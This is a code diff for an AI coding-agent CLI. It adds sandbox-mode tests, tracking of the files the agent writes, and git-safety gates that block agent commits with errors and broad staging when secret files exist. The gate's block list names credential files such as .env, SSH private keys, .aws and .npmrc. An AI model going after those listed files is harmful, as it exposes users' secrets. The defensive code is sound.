- const bash = new BashTool(root, { sandboxMode: "shuru" });
193
- expect(bash.getCwd()).toBe(root);
194
- expect(bash.getSandboxMode()).toBe("shuru");
195
- });
196
- it("can switch sandbox mode at runtime", () => {
197
- const bash = new BashTool("/repo", { sandboxMode: "off" });
198
- expect(bash.getSandboxMode()).toBe("off");
199
- bash.setSandboxMode("shuru");
200
- expect(bash.getSandboxMode()).toBe("shuru");
201
- });
202
- it("returns sandbox-aware tool description", () => {
203
- const off = new BashTool("/repo", { sandboxMode: "off" });
204
- const on = new BashTool("/repo", { sandboxMode: "shuru" });
205
- expect(off.getToolDescription()).not.toContain("Shuru");
206
- // Shuru only actually engages on macOS/arm64. Elsewhere the tool degrades
207
- // to host execution, so the description must NOT advertise the phantom
208
- // /workspace mount that a non-mac platform cannot provide.
209
- const shuruSupported = process.platform === "darwin" && process.arch === "arm64";
210
- if (shuruSupported) {
211
- expect(on.getToolDescription()).toContain("Shuru sandbox");
212
- expect(on.getToolDescription()).toContain("do not persist back to the host");
213
- }
214
- else {
215
- expect(on.getToolDescription()).not.toContain("Shuru");
216
- expect(on.getToolDescription()).not.toContain("/workspace");
217
- }
218
- });
219
- it("degrades shuru to host execution when the platform cannot run Shuru", async () => {
220
- const shuruSupported = process.platform === "darwin" && process.arch === "arm64";
221
- if (shuruSupported)
222
- return; // on a real Shuru host this path doesn't apply
223
- const root = makeTempDir("muonroi-bash-shuru-degrade-");
224
- const bash = new BashTool(root, { sandboxMode: "shuru" });
225
- // getSandboxMode() still reports the CONFIGURED mode (intent preserved)...
226
- expect(bash.getSandboxMode()).toBe("shuru");
227
- // ...but a real command runs on the host instead of failing with the
228
- // "requires macOS on Apple Silicon" error that previously bricked the shell.
229
- const result = await bash.execute("echo sandbox-degrade-ok", 15_000);
230
- expect(result.output).toContain("sandbox-degrade-ok");
231
- expect(result.output).not.toContain("Apple Silicon");
232
- });
233
- it("stores and returns sandbox settings", () => {
234
- const bash = new BashTool("/repo", {
235
- sandboxMode: "shuru",
236
- sandboxSettings: { allowNet: true, cpus: 4 },
237
- });
238
- expect(bash.getSandboxSettings()).toEqual({ allowNet: true, cpus: 4 });
239
- });
240
- it("can update sandbox settings at runtime", () => {
241
- const bash = new BashTool("/repo", { sandboxMode: "shuru" });
242
- expect(bash.getSandboxSettings()).toEqual({});
243
- bash.setSandboxSettings({ allowNet: true, allowedHosts: ["api.openai.com"] });
244
- expect(bash.getSandboxSettings()).toEqual({ allowNet: true, allowedHosts: ["api.openai.com"] });
245
- });
17
+ describe("BashTool non-sandbox behavior", () => {
246
18
  it("translates POSIX-style absolute paths in cd when shell is POSIX", async () => {
247
19
  if (process.platform !== "win32")
248
20
  return;
@@ -272,12 +44,6 @@ describe("BashTool sandbox state", () => {
272
44
  expect(bash.getCwd()).toBe(root);
273
45
  });
274
46
  it("splits `cd <dir> && <cmd>` and runs <cmd> in the new cwd (session 127140a47b56 regression)", async () => {
275
- // Pre-fix: the cd handler consumed the entire substring after `cd ` as a
276
- // directory, so `cd D:\foo && gh run list` was stat()-ed as the literal
277
- // string `D:\foo && gh run list`. Agents retried with every shell syntax
278
- // imaginable (cmd.exe, powershell, /d/sources, escaped backslashes…) and
279
- // burned 248 bash calls before being killed. After the fix the chain is
280
- // parsed so the cd succeeds and the remainder executes in the new cwd.
281
47
  const root = makeTempDir("muonroi-bash-cdchain-");
282
48
  const bash = new BashTool(os.tmpdir());
283
49
  const echoCmd = process.platform === "win32" ? "echo split-ok" : "echo split-ok";
@@ -320,26 +86,5 @@ describe("BashTool sandbox state", () => {
320
86
  expect(result.output ?? "").toContain("always-runs");
321
87
  expect(bash.getCwd()).toBe(root);
322
88
  });
323
- it("includes network status in tool description when allowNet is set", () => {
324
- // Network status only appears in the Shuru description, which engages on
325
- // macOS/arm64. Off-platform the tool degrades to host execution.
326
- if (process.platform !== "darwin" || process.arch !== "arm64")
327
- return;
328
- const netOn = new BashTool("/repo", {
329
- sandboxMode: "shuru",
330
- sandboxSettings: { allowNet: true },
331
- });
332
- expect(netOn.getToolDescription()).toContain("network access is enabled");
333
- const netRestricted = new BashTool("/repo", {
334
- sandboxMode: "shuru",
335
- sandboxSettings: { allowNet: true, allowedHosts: ["api.openai.com"] },
336
- });
337
- expect(netRestricted.getToolDescription()).toContain("network is restricted to: api.openai.com");
338
- const netOff = new BashTool("/repo", {
339
- sandboxMode: "shuru",
340
- sandboxSettings: { allowNet: false },
341
- });
342
- expect(netOff.getToolDescription()).toContain("network is disabled");
343
- });
344
89
  });
345
90
  //# sourceMappingURL=bash.test.js.map
@@ -19,8 +19,13 @@ export interface ReadRecord {
19
19
  }
20
20
  export declare class FileTracker {
21
21
  private records;
22
+ private written;
22
23
  /** Record content as known to the agent. Called after a successful read. */
23
24
  markRead(absolutePath: string, content: string, mtimeMs: number): void;
25
+ /** Record that the agent wrote/edited this file. Called after a successful write. */
26
+ markWritten(absolutePath: string): void;
27
+ /** Absolute paths the agent created or modified via tools this session. */
28
+ writtenPaths(): string[];
24
29
  /** True if the file has been recorded as read this session. */
25
30
  hasRead(absolutePath: string): boolean;
26
31
  /**
@@ -1,10 +1,23 @@
1
1
  import { createHash } from "crypto";
2
2
  export class FileTracker {
3
3
  records = new Map();
4
+ // Absolute paths the agent CREATED/MODIFIED via write_file/edit_file this
5
+ // session. Distinct from `records` (which also holds read-only files). The
6
+ // git_commit tool stages exactly these so an agent commit never sweeps the
7
+ // user's unrelated working-tree changes or files the agent merely read.
8
+ written = new Set();
4
9
  /** Record content as known to the agent. Called after a successful read. */
5
10
  markRead(absolutePath, content, mtimeMs) {
6
11
  this.records.set(absolutePath, { hash: hashOf(content), mtimeMs });
7
12
  }
13
+ /** Record that the agent wrote/edited this file. Called after a successful write. */
14
+ markWritten(absolutePath) {
15
+ this.written.add(absolutePath);
16
+ }
17
+ /** Absolute paths the agent created or modified via tools this session. */
18
+ writtenPaths() {
19
+ return [...this.written];
20
+ }
8
21
  /** True if the file has been recorded as read this session. */
9
22
  hasRead(absolutePath) {
10
23
  return this.records.has(absolutePath);
@@ -32,6 +45,7 @@ export class FileTracker {
32
45
  /** Drop everything (e.g. on /clear). */
33
46
  reset() {
34
47
  this.records.clear();
48
+ this.written.clear();
35
49
  }
36
50
  }
37
51
  function hashOf(s) {
@@ -70,6 +70,7 @@ export async function writeFile(filePath, content, cwd, tracker) {
70
70
  writeFileSync(full, content, "utf-8");
71
71
  // Refresh tracker so subsequent edits in the same session don't refuse.
72
72
  tracker?.markRead(full, content, mtimeMsOf(full));
73
+ tracker?.markWritten(full);
73
74
  const diff = computeDiff(filePath, before, content);
74
75
  const verb = before === "" ? "Created" : "Updated";
75
76
  const lspDiagnostics = await syncFileWithLsp(cwd, full, content, true, true).catch(() => []);
@@ -138,6 +139,7 @@ export async function editFile(filePath, oldString, newString, cwd, tracker) {
138
139
  writeFileSync(full, after, "utf-8");
139
140
  // Refresh tracker so back-to-back edits keep working.
140
141
  tracker?.markRead(full, after, mtimeMsOf(full));
142
+ tracker?.markWritten(full);
141
143
  const diff = computeDiff(filePath, before, after);
142
144
  const lspDiagnostics = await syncFileWithLsp(cwd, full, after, true, true).catch(() => []);
143
145
  const lspSummary = summarizeDiagnostics(lspDiagnostics);
@@ -37,6 +37,12 @@ export interface GitCommandShape {
37
37
  isPush: boolean;
38
38
  /** `git add -A` / `git add .` / `git add --all` / `git commit -a[m]`. */
39
39
  isBroadStage: boolean;
40
+ /** Any `git commit` (with or without `-a`). Gated by the LSP commit gate. */
41
+ isCommit: boolean;
42
+ /** `git add -A` / `git add .` / `git add --all` (stages the whole working tree). */
43
+ isBroadAdd: boolean;
44
+ /** `git commit -a[m]` (auto-stages tracked modifications at commit time). */
45
+ isCommitAll: boolean;
40
46
  }
41
47
  export declare function analyzeGitCommand(command: string): GitCommandShape;
42
48
  /**
@@ -54,8 +60,39 @@ export interface PushGateResult {
54
60
  export declare function checkPushGate(sessionKey: string): PushGateResult;
55
61
  /** Message returned in place of running a blocked `git push`. */
56
62
  export declare function pushBlockedMessage(failed: string[]): string;
63
+ /**
64
+ * Message returned in place of running a blocked bash `git commit`. Mirrors the
65
+ * G1 `git_commit` tool gate: the agent must FIX the reported errors, not bypass
66
+ * the gate — so (per the G1 convention) the user-only `MUONROI_COMMIT_GATE=0`
67
+ * escape hatch is intentionally NOT advertised here.
68
+ */
69
+ export declare function commitBlockedMessage(summary?: string): string;
57
70
  /** Sensitive paths present in `cwd` that a broad `git add` would likely sweep in. */
58
71
  export declare function detectSensitiveStaging(cwd: string): string[];
59
- /** Non-blocking warning appended to a broad-stage command's output, or "". */
72
+ export interface StagingBlockResult {
73
+ /** true means broad staging must be blocked (pre-execution). */
74
+ blocked: boolean;
75
+ /** Sensitive paths found in the working directory root. */
76
+ sensitive: string[];
77
+ /** Human-readable block message to return from the bash tool. */
78
+ message: string;
79
+ }
80
+ /**
81
+ * Hard-block check for broad `git add`/`git commit -a` when sensitive files are
82
+ * present in the working directory.
83
+ *
84
+ * Replaces the non-blocking `stagingWarning()`. Returns blocked=true when
85
+ * sensitive paths are detected. The caller (registry.ts bash tool) must
86
+ * return `result.message` WITHOUT executing the command.
87
+ *
88
+ * The user can override this gate by:
89
+ * 1. Explicitly staging only the files they want (`git add <path>` instead of `-A`).
90
+ * 2. Setting MUONROI_ALLOW_BROAD_STAGE=1 (escape hatch, logged to decision-log).
91
+ */
92
+ export declare function checkSensitiveStaging(cwd: string): StagingBlockResult;
93
+ /**
94
+ * @deprecated Use checkSensitiveStaging() for hard-blocking.
95
+ * Kept for call sites that emit a trailing warning (non-broad-stage contexts).
96
+ */
60
97
  export declare function stagingWarning(cwd: string): string;
61
98
  export {};
@@ -57,11 +57,21 @@ const BROAD_ADD_RE = /\bgit\b[^|&;\n]*[ \t]add[ \t]+(?:-A\b|--all\b|\.(?=[ \t]|$
57
57
  // `-a` / `-am` / `-ma` etc. — a short-flag cluster CONTAINING `a`, terminated by
58
58
  // whitespace or end (so `-a--otherflag` and `--amend` do NOT match).
59
59
  const COMMIT_ALL_RE = /\bgit\b[^|&;\n]*[ \t]commit\b[^|&;\n]*[ \t]-[a-z]*a[a-z]*(?=[ \t]|$)/;
60
+ // Any `git commit` (with or without `-a`). `commit` must end at whitespace or
61
+ // the clause boundary so plumbing like `commit-tree` / `commit-graph` and
62
+ // option values like `--grep=commit` do NOT match. Drives the bash-tool LSP
63
+ // commit gate so a raw `git commit` cannot bypass the `git_commit` tool's gate.
64
+ const COMMIT_RE = /\bgit\b[^|&;\n]*[ \t]commit(?=[ \t]|$)/;
60
65
  export function analyzeGitCommand(command) {
61
66
  const c = stripQuoted(command);
67
+ const isBroadAdd = BROAD_ADD_RE.test(c);
68
+ const isCommitAll = COMMIT_ALL_RE.test(c);
62
69
  return {
63
70
  isPush: PUSH_RE.test(c),
64
- isBroadStage: BROAD_ADD_RE.test(c) || COMMIT_ALL_RE.test(c),
71
+ isBroadStage: isBroadAdd || isCommitAll,
72
+ isCommit: COMMIT_RE.test(c),
73
+ isBroadAdd,
74
+ isCommitAll,
65
75
  };
66
76
  }
67
77
  /**
@@ -102,19 +112,52 @@ export function pushBlockedMessage(failed) {
102
112
  "Re-run the failing check until it passes (0 failures), then push. This mirrors the mandatory Pre-Push Test Gate " +
103
113
  "(never push on red). If you must override for a genuine reason, set MUONROI_ALLOW_PUSH_ON_RED=1.");
104
114
  }
115
+ /**
116
+ * Message returned in place of running a blocked bash `git commit`. Mirrors the
117
+ * G1 `git_commit` tool gate: the agent must FIX the reported errors, not bypass
118
+ * the gate — so (per the G1 convention) the user-only `MUONROI_COMMIT_GATE=0`
119
+ * escape hatch is intentionally NOT advertised here.
120
+ */
121
+ export function commitBlockedMessage(summary) {
122
+ return ("BLOCKED: refusing to run `git commit` — staged file(s) have errors that must be fixed first:\n" +
123
+ `${summary ?? "(no diagnostic detail available)"}\n\n` +
124
+ "Fix the reported errors, re-stage the file(s), then commit again. This mirrors the `git_commit` " +
125
+ "tool's quality gate so a bash `git commit` cannot bypass it.");
126
+ }
105
127
  // Repo-root paths that should essentially never be committed. Presence-based
106
128
  // (fs.existsSync) so the check is O(1) and never spawns git.
129
+ //
130
+ // Patterns cover:
131
+ // - All .env variants (.env, .env.*, *.env)
132
+ // - SSH private keys (id_rsa, id_ed25519, id_ecdsa, id_dsa, *.pem, *.key)
133
+ // - Cloud / service credentials
134
+ // - muonroi-cli settings (may hold provider API keys)
107
135
  const SENSITIVE_NAMES = [
108
136
  ".env",
109
137
  ".env.local",
110
138
  ".env.production",
111
139
  ".env.development",
140
+ ".env.test",
141
+ ".env.staging",
112
142
  ".muonroi-cli",
113
143
  "id_rsa",
114
144
  "id_ed25519",
145
+ "id_ecdsa",
146
+ "id_dsa",
115
147
  "credentials.json",
148
+ "service-account.json",
116
149
  ".npmrc",
150
+ ".pypirc",
151
+ ".netrc",
152
+ ".aws",
153
+ ".kube",
154
+ ".docker",
155
+ "secrets.json",
156
+ "secrets.yaml",
157
+ "secrets.yml",
117
158
  ];
159
+ /** Sensitive file name suffixes checked via endsWith (catches *.pem, *.key, *.pfx). */
160
+ const SENSITIVE_SUFFIXES = [".pem", ".key", ".pfx", ".p12", ".env"];
118
161
  /** Sensitive paths present in `cwd` that a broad `git add` would likely sweep in. */
119
162
  export function detectSensitiveStaging(cwd) {
120
163
  const found = [];
@@ -127,15 +170,62 @@ export function detectSensitiveStaging(cwd) {
127
170
  // ignore unreadable entries — best-effort detection only
128
171
  }
129
172
  }
173
+ // Scan shallow directory entries for sensitive suffixes (*.pem, *.key, etc.)
174
+ // Only the cwd root — not recursive — to keep this O(n) and fast.
175
+ try {
176
+ const entries = fs.readdirSync(cwd);
177
+ for (const entry of entries) {
178
+ if (found.includes(entry))
179
+ continue; // already captured
180
+ const lower = entry.toLowerCase();
181
+ if (SENSITIVE_SUFFIXES.some((s) => lower.endsWith(s))) {
182
+ found.push(entry);
183
+ }
184
+ }
185
+ }
186
+ catch {
187
+ // ignore — e.g. permission error on readdir
188
+ }
130
189
  return found;
131
190
  }
132
- /** Non-blocking warning appended to a broad-stage command's output, or "". */
191
+ /**
192
+ * Hard-block check for broad `git add`/`git commit -a` when sensitive files are
193
+ * present in the working directory.
194
+ *
195
+ * Replaces the non-blocking `stagingWarning()`. Returns blocked=true when
196
+ * sensitive paths are detected. The caller (registry.ts bash tool) must
197
+ * return `result.message` WITHOUT executing the command.
198
+ *
199
+ * The user can override this gate by:
200
+ * 1. Explicitly staging only the files they want (`git add <path>` instead of `-A`).
201
+ * 2. Setting MUONROI_ALLOW_BROAD_STAGE=1 (escape hatch, logged to decision-log).
202
+ */
203
+ export function checkSensitiveStaging(cwd) {
204
+ if (process.env.MUONROI_ALLOW_BROAD_STAGE === "1") {
205
+ return { blocked: false, sensitive: [], message: "" };
206
+ }
207
+ const sensitive = detectSensitiveStaging(cwd);
208
+ if (sensitive.length === 0)
209
+ return { blocked: false, sensitive: [], message: "" };
210
+ const list = sensitive.map((n) => ` • ${n}`).join("\n");
211
+ const message = "BLOCKED: refusing broad `git add`/`git commit -a` — the following sensitive " +
212
+ "paths exist in the repo root and would be swept into the staging area:\n" +
213
+ `${list}\n\n` +
214
+ "Stage files EXPLICITLY with `git add <path>` to avoid accidentally committing " +
215
+ "secrets or credentials. Ensure these paths are listed in .gitignore. " +
216
+ "To bypass this gate (not recommended), set MUONROI_ALLOW_BROAD_STAGE=1.";
217
+ return { blocked: true, sensitive, message };
218
+ }
219
+ /**
220
+ * @deprecated Use checkSensitiveStaging() for hard-blocking.
221
+ * Kept for call sites that emit a trailing warning (non-broad-stage contexts).
222
+ */
133
223
  export function stagingWarning(cwd) {
134
224
  const sensitive = detectSensitiveStaging(cwd);
135
225
  if (sensitive.length === 0)
136
226
  return "";
137
- return ("\n\n[WARNING: a broad `git add`/`git commit -a` was run while these sensitive paths exist in the repo root: " +
138
- `${sensitive.join(", ")}. Verify none were staged (git status), stage files EXPLICITLY (git add <path>), and ensure ` +
227
+ return ("\n\n[WARNING: sensitive paths exist in the repo root: " +
228
+ `${sensitive.join(", ")}. Verify none were staged (git status) and ensure ` +
139
229
  "secrets are gitignored before committing/pushing.]");
140
230
  }
141
231
  //# sourceMappingURL=git-safety.js.map
@@ -2,7 +2,7 @@ import { mkdtempSync, rmSync, writeFileSync } from "node:fs";
2
2
  import { tmpdir } from "node:os";
3
3
  import { join } from "node:path";
4
4
  import { afterEach, beforeEach, describe, expect, it } from "vitest";
5
- import { __resetGitSafetyState, analyzeGitCommand, checkPushGate, detectSensitiveStaging, recordCommandOutcome, stagingWarning, } from "./git-safety.js";
5
+ import { __resetGitSafetyState, analyzeGitCommand, checkPushGate, commitBlockedMessage, detectSensitiveStaging, recordCommandOutcome, stagingWarning, } from "./git-safety.js";
6
6
  describe("analyzeGitCommand", () => {
7
7
  it("detects git push (with flags and chained)", () => {
8
8
  expect(analyzeGitCommand("git push").isPush).toBe(true);
@@ -40,6 +40,50 @@ describe("analyzeGitCommand", () => {
40
40
  // -a must be a clean flag cluster — a malformed `-a--otherflag` is not `-a`.
41
41
  expect(analyzeGitCommand("git commit -a--otherflag").isBroadStage).toBe(false);
42
42
  });
43
+ it("detects any `git commit` for the LSP commit gate (with or without -a)", () => {
44
+ expect(analyzeGitCommand("git commit -m 'x'").isCommit).toBe(true);
45
+ expect(analyzeGitCommand("git commit").isCommit).toBe(true);
46
+ expect(analyzeGitCommand("git commit -am 'x'").isCommit).toBe(true);
47
+ expect(analyzeGitCommand("git commit --amend --no-edit").isCommit).toBe(true);
48
+ expect(analyzeGitCommand("git -c x=y commit -m 'x'").isCommit).toBe(true);
49
+ expect(analyzeGitCommand("git add -A && git commit -m 'x'").isCommit).toBe(true);
50
+ });
51
+ it("does not treat commit plumbing / quoted messages as a commit", () => {
52
+ // `commit` must terminate at whitespace/clause-end — plumbing subcommands stay clear.
53
+ expect(analyzeGitCommand("git commit-tree $TREE").isCommit).toBe(false);
54
+ expect(analyzeGitCommand("git commit-graph write").isCommit).toBe(false);
55
+ // option values and quoted messages mentioning commit must not match.
56
+ expect(analyzeGitCommand("git log --grep=commit").isCommit).toBe(false);
57
+ expect(analyzeGitCommand('git push -m "amend the commit later"').isCommit).toBe(false);
58
+ // separate clause / line cannot bleed in.
59
+ expect(analyzeGitCommand("git status\necho commit").isCommit).toBe(false);
60
+ });
61
+ it("separates broad-add from commit-all so the gate scopes the right path set", () => {
62
+ const addAll = analyzeGitCommand("git add -A");
63
+ expect(addAll.isBroadAdd).toBe(true);
64
+ expect(addAll.isCommitAll).toBe(false);
65
+ const commitAll = analyzeGitCommand("git commit -am 'x'");
66
+ expect(commitAll.isCommitAll).toBe(true);
67
+ expect(commitAll.isBroadAdd).toBe(false);
68
+ expect(commitAll.isCommit).toBe(true);
69
+ const plainCommit = analyzeGitCommand("git commit -m 'x'");
70
+ expect(plainCommit.isBroadAdd).toBe(false);
71
+ expect(plainCommit.isCommitAll).toBe(false);
72
+ expect(plainCommit.isCommit).toBe(true);
73
+ });
74
+ });
75
+ describe("commitBlockedMessage", () => {
76
+ it("surfaces the diagnostic summary and does NOT advertise the env bypass", () => {
77
+ const msg = commitBlockedMessage("src/foo.ts:3 error TS2322");
78
+ expect(msg).toMatch(/BLOCKED/);
79
+ expect(msg).toContain("src/foo.ts:3 error TS2322");
80
+ expect(msg).toMatch(/git_commit/);
81
+ // G1 convention: the user-only escape hatch is never shown to the agent.
82
+ expect(msg).not.toMatch(/MUONROI_COMMIT_GATE/);
83
+ });
84
+ it("falls back gracefully when no summary is provided", () => {
85
+ expect(commitBlockedMessage()).toMatch(/no diagnostic detail/i);
86
+ });
43
87
  });
44
88
  describe("push gate", () => {
45
89
  beforeEach(() => {
@@ -20,7 +20,7 @@
20
20
  */
21
21
  import { type ToolSet } from "ai";
22
22
  /** The native tool names this module registers — used by the MCP-twin dedup. */
23
- export declare const NATIVE_MUONROI_TOOL_NAMES: readonly ["ee_health", "ee_feedback", "usage_forensics", "lsp_query", "setup_guide", "selfverify_start", "selfverify_status", "selfverify_result", "selfverify_list", "selfverify_cancel"];
23
+ export declare const NATIVE_MUONROI_TOOL_NAMES: readonly ["ee_health", "ee_feedback", "ee_write", "usage_forensics", "lsp_query", "setup_guide", "selfverify_start", "selfverify_status", "selfverify_result", "selfverify_list", "selfverify_cancel"];
24
24
  export interface NativeToolOpts {
25
25
  /** Workspace cwd for lsp_query. Defaults to process.cwd(). */
26
26
  cwd?: string;